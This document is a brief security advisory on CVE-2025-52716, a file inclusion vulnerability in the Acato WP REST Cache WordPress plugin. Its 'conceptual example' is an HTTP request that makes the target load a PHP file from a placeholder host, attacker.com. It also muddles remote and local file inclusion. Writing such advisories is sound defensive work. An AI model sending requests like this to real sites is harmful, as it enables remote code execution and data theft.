Overview
This report outlines a critical vulnerability, CVE-2025-52716, in Acato WP REST Cache that impacts PHP applications. A PHP Remote File Inclusion issue allows for PHP Local File Inclusion, enabling potential attackers to compromise systems or leak data. Cybersecurity teams need to address this vulnerability promptly due to its severity and the potential damage it could cause.
Vulnerability Summary
CVE ID: CVE-2025-52716
Severity: High Risk (CVSS: 7.5)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage
Affected Products
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Product | Affected Versions
Acato WP REST Cache | Versions up to 2025.1.0
How the Exploit Works
The CVE-2025-52716 vulnerability arises from an improper control of filename for Include/Require Statement in a PHP Program. This flaw allows an attacker to manipulate the filename, leading to a PHP Remote File Inclusion. The attacker can potentially include malicious PHP files from remote servers, leading to PHP Local File Inclusion, thus taking control of the system or causing data leakage.
Conceptual Example Code
Below is a conceptual example of how the vulnerability might be exploited:
GET /wp-rest-cache/vulnerable.php?file=http://attacker.com/malicious.php HTTP/1.1
Host: target.example.comIn the example above, the attacker uses a GET request to include a malicious PHP file (`malicious.php`) hosted on their server (`attacker.com`) into the `vulnerable.php` script on the target server (`target.example.com`).
Mitigation Guidance
To mitigate this vulnerability, users are advised to apply patches provided by the vendor as soon as they are available. Until a permanent fix is available, users can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary measure to block attempts to exploit this vulnerability.
